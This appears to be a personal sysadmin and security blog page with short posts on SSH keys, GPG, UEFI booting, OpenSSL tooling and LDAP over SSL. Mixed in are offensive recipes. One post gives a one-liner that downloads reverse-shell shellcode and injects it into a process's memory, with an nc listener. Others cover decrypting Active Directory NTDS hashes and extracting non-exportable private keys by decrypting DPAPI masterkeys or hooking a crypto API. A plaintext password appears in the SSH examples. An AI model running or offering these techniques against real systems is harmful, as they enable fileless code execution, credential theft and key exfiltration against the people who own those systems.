SSH or SFTP with a private key

 Uncategorized  No Responses »
Oct 292023
 

Get your binaries from here.

On your source host, generate a ssh key pair (private and public) : ssh-keygen

Copy your public key on your target host

Add your public key to authorized keys on your target host : cat id_rsa.pub >> .ssh/authorized_keys

SFTP from your source to target host using your private key : sftp –ip=192.168.1.126 –username=jeedom –privatekey=%homepath%\.ssh\id_rsa –local_filename=readme.md –command=put –debug=true

SSH from your source to target host using your private key : ssh –ip=192.168.1.126 –username=jeedom –privatekey=%homepath%\.ssh\id_rsa –debug=true

Note1 : libssh2 will accept private keys in both format (RSA PRIVATE KEY or OPENSSH PRIVATE KEY)

Note2 : on linux, you can convert a public key generated by OpenSSL (in PEM format) to OpenSSH

ssh-keygen -i -m PKCS8 -f public.pem > public.pub

Note3 : libssh2 will accept public keys in OpenSSH format only (but will manage to derive the public key from the private key if you dont provide the public key)

Note4:

You can push your public key like below:

ssh –ip=192.168.1.126 –username=jeedom –password=Mjeedom96 –put –filename=id_rsa.pub

ssh –ip=192.168.1.126 –username=jeedom –password=Mjeedom96 –delay=250 –command= »cat id_rsa.pub >> .ssh/authorized_keys »

or

echo « cat id_rsa.pub >> .ssh/authorized_keys » | ssh –ip=192.168.1.126 –username=jeedom –password=Mjeedom96

Lets play with GPG

 Uncategorized  No Responses »
Oct 282023
 

On both hosts:

Install GPG (download from here)

Generate a key pair : gpg –gen-key

List your public keys : gpg –list-keys (optional)

List your secret/private keys : gpg –list-secret-keys (optional)

On the host encrypting (aka the source):

Import your target key (i.e from the host that will decrypt) : gpg –import target.key

Ensure that you have the public key of the target in your trust store : gpg –list-keys

Encrypt your file with the target public key : gpg -e -r target message.txt (or gpg –always-trust -e -r target message.txt if you dont want to be bothered by the public key not being trusted)

note : more details here about user interaction.

On the host decrypting (aka the target):

Export your public key : gpg –export > target.key (to be shared with the source host encrypting)

Decrypt the file with the secret/private key : gpg message.txt.gpg

Launch a reverse shell without touching disk

 network, nthash  No Responses »
Juil 312023
 

NTHASH-win64 /download2hexa /input:https:%2f%2fgithub.com%2ferwan2212%2fNTHASH-FPC%2fraw%2fmaster%2frevshell64.bin| nthash-win64 /replace /old:7F000001 /new:C0A801BE|nthash-win64 /injectcodehexa /pid:996

The above will, in 3 steps :

-download a binary and convert it to its textual hexa form

-replace the default outbound ip (127.0.0.1) to the real target ip (here 192.168.1.190)

-inject the shellcode into the memory of the specified pid and execute it

on the remote host : run nc -l -p 4444 (note that you could also replace 4444 with a port of your choice in the shell code)

NTDSEXTRACT

 ldap, nthash  No Responses »
Juil 092023
 

Decrypt NTDS (aka NT Directory Service) active directory hashes for servers up to windows 2012r2 (rc4) and windows 2016 and up (aes). NTDS uses the Extensible Storage Engine format (aka ESE).

You can obtain the systemkey offline using nthash and the system registry file.

Sourcecode and binary are here.

Boot UEFI with a MBR disk

 Boot, clonedisk  No Responses »
Avr 042023
 

You need to boot in UEFI mode but do not want to convert your disk to GPT (with mbr2gpt for instance)?

-free some disk space (by shrinking you main partition for instance)

-create a FAT32 partition

-make your partition bootable with bcdboot c:\windows /s g: /f all (with g: being your new partition)

-now, shutdown your computer, modify your bios to UEFI, reboot and enjoy!

Export a certificate along its non exportable key – the easy way

 openssl, rsa, ssl  No Responses »
Mar 302023
 

In a previous article (here), we have seen how to export a certificate and its non exportable key using a rather complex method (decrypting DPAPI).

Here below how to do it the easy way (by hooking a rsaenh.dll api) :

cert –export –store=root –subject= »Root Authority » –force

-> you get a cert.pfx containing both the certificate and the private key.

Import and enjoy !

Export a certificate along its non exportable private key – the hard way

 openssl, rsa, ssl  1 Response »
Mar 262023
 

You want to export a certificate but its private key is marked as non exportable.

Lets export it using the hard way (a future article with demonstrate an easier method).

To realize this operation we will need:

-CAPI-FPC (here) : using windows crypto API’s (aka CAPI)

-NTHASH-FPC (here) : a tool to handle hashes and ciphers with a particular focus on windows secrets and lateral movement

-TinySSL (here) : a tool based on OpenSSL library to deal with various formats for X.509 certificates, CSRs, and cryptographic keys

1/ Identify the cert sha1 hash and save it from registry to a cer file
cert –enumcerts –store=root
->9EC82D0810FACD26CF5DE736C4F17228DDF49BBC is the cert sha1 hash

->d673096e4c9c08d6fc03c64c44117795_e65f292c-6dbf-47f8-b70f-c52e116acc05 is the cert unique name

cert –dumpcert –store=root –hash=9EC82D0810FACD26CF5DE736C4F17228DDF49BBC
->you get a blob.cer i.e your cert (without the private key)

Lets convert this binary cert (DER format) to a PEM format:

cert.exe –der2pem –filename=blob.cer

->you get a blob.crt

2/ Decode dpapi blob located in C:\Users\%username%\AppData\Roaming\Microsoft\Crypto\RSA\%SID%
nthash-win64 /decodeblob /binary:d673096e4c9c08d6fc03c64c44117795_e65f292c-6dbf-47f8-b70f-c52e116acc05

->this is your encrypted (with a masterkey) DPAPI blob

Note : you can skip this test as the blob will be decrypted in step 4.

3/ Decrypt masterkey’s located in C:\Users\%username%\AppData\Roaming\Microsoft\Protect\%SID%
nthash-win64 /decodemks /binary:c:\Users\erwan\AppData\Roaming\Microsoft\Protect\S-1-5-21-2427513087-2265021005-1965656450-1001 /password:your-sha1-hash-password /save

->masterkey’s will be saved to masterkeys.ini

4/ Decrypt dpapi blob with masterkey (from masterkeys.ini)
nthash-win64 /decodeblob /binary:d673096e4c9c08d6fc03c64c44117795_e65f292c-6dbf-47f8-b70f-c52e116acc05 /save

->you get a decoded.bin
This is your decrypted DPAPI blob i.e your decrypted rsa (private) key.

5/ Convert the decrypted rsa key to a PEM format

cert.exe –rsa2pem –filename=decoded.bin

->you get a decoded.pem

Note, we could have done it in 2 steps : rsa2pvk and then pvk2pem.

6/ Create a pfx with your certificate and private key

Optionally : you can check that your certificate and private key share the same modulus.

tinyssl –print_private –filename=decoded.pem

tinyssl –print_cert –filename=blob.crt

Finally, create your pfx certificate.

tinyssl –pemtop12 –privatekey=decoded.pem –cert=blob.crt

->you get a cert.pfx, ready to import.

Enjoy!

TinySSL : FreePascal and OpenSSL

 openssl  No Responses »
Fév 252023
 

Still pursuing my journey around ldap, ssl and certificates : lets play with OpenSSL libraries.

Have a look at the code on github here.

Possible actions so far:

--genkey generate rsa keys public.pem and private.pem
--encrypt encrypt a file using public.pem
--decrypt decrypt a file using private.pem
--mkcert make a self sign root cert, read from privatekey (option) & write to ca.crt and ca.key
--mkreq make a certificate service request, read from request.key (if exist) & write to request.csr request.key
--signreq make a certificate from a csr, read from a csr filename and a cert file
--selfsign make a self sign cert, write to cert.crt cert.key
--p12topem convert a pfx to pem, write to cert.crt and cert.key
--pemtop12 convert a pem to pfx, read from cert.crt and cert.key

Example to create a root ca, a certificate signing request and a certificate (which you can use in latest chrome) :

rem if you want to reuse an existing key and therefore renew instead of recreate
tinySSL.exe --mkcert --debug=true --privatekey=ca.key --password=password --filename=ca.crt
rem recreate, not renew
rem tinySSL.exe --mkcert --debug=true --filename=ca.crt
rem renew, not recreate
tinySSL.exe --mkreq --debug=true --filename=request.csr --privatekey=request.key
rem recreate, not renew
rem tinySSL.exe --mkreq --debug=true --filename=request.csr
tinySSL.exe --signreq --debug=true --alt="DNS:*.groupe.fr" --password=password --filename=request.csr --cert=ca.crt

Note : have a look at this article if you want to test your certificate in a http ssl server.

Active Directory, LDAP and SSL

 ldap, ssl  1 Response »
Jan 222023
 

You have a running ldap server but you want to be able to use ssl.

For this you need:

1-A root CA (certificate authority) installed on the domain controller/ldap server in the computer « root » store

2-A CSR (certificate service request) triggered by the domain controller/ldap server

3-A CSR signed by your root ca thus giving you a certificate to be installed on the domain controller/ldap server in the computer « my » store

4-The root CA installed in the client/user certificate store

Step 1

openssl genrsa -des3 -out ca.key 4096

openssl req -new -x509 -days 3650 -key ca.key -out ca.crt

launch mmc.exe, load the certificate snap-in, select « computer account », choose the « trusted root CA » and import your ca.crt.

Step 2

With notepad, create the below request.inf file (adapt the CN with your server CN).

;----------------- request.inf -----------------

[Version]

Signature="$Windows NT$"

[NewRequest]

Subject = "CN=dc1.acme.com,OU=IT,DC=dc1,DC=acme,DC=com,O=ACME,L=New York,S=New York,C=US"
;
KeySpec = 1
KeyLength = 1024
Exportable = TRUE
MachineKeySet = TRUE
SMIME = False
PrivateKeyArchive = FALSE
UserProtected = FALSE
UseExistingKeySet = FALSE
ProviderName = "Microsoft RSA SChannel Cryptographic Provider"
ProviderType = 12
RequestType = PKCS10
KeyUsage = 0xa0

[EnhancedKeyUsageExtension]

OID=1.3.6.1.5.5.7.3.1 ; this is for Server Authentication

Generate your csr with certreq -new request.inf server.csr.

Step 3

Sign your csr :

openssl x509 -req -days 3650 -in request.csr -CA ca.crt -CAkey ca.key -set_serial 01 -out server.crt

launch mmc.exe, load the certificate snap-in, select « computer account », choose the « MY » store and import your server.crt.

Reboot your DC : your ldap ssl server is now operational.

Edit :

1/

It appears it is better to put the cert in the NT Directory Services (NTDS) store (choose the NTSD service rather than « computer account » in the MMC snap-in).

Indeed, most probably your computer account will have more than one cert in its trust store and NTDS will then pick randomly one of them.

2/

Although I did have time to replicate the experiment, it may be that you have to select 2 roles (versus all) : serveur authentication and client authentication.

More here.

Step 4

On your user/client, launch mmc.exe, load the certificate snap-in, select « user account », choose the « trusted root CA » store and import your ca.crt to allow your user/client to validate the server cert.

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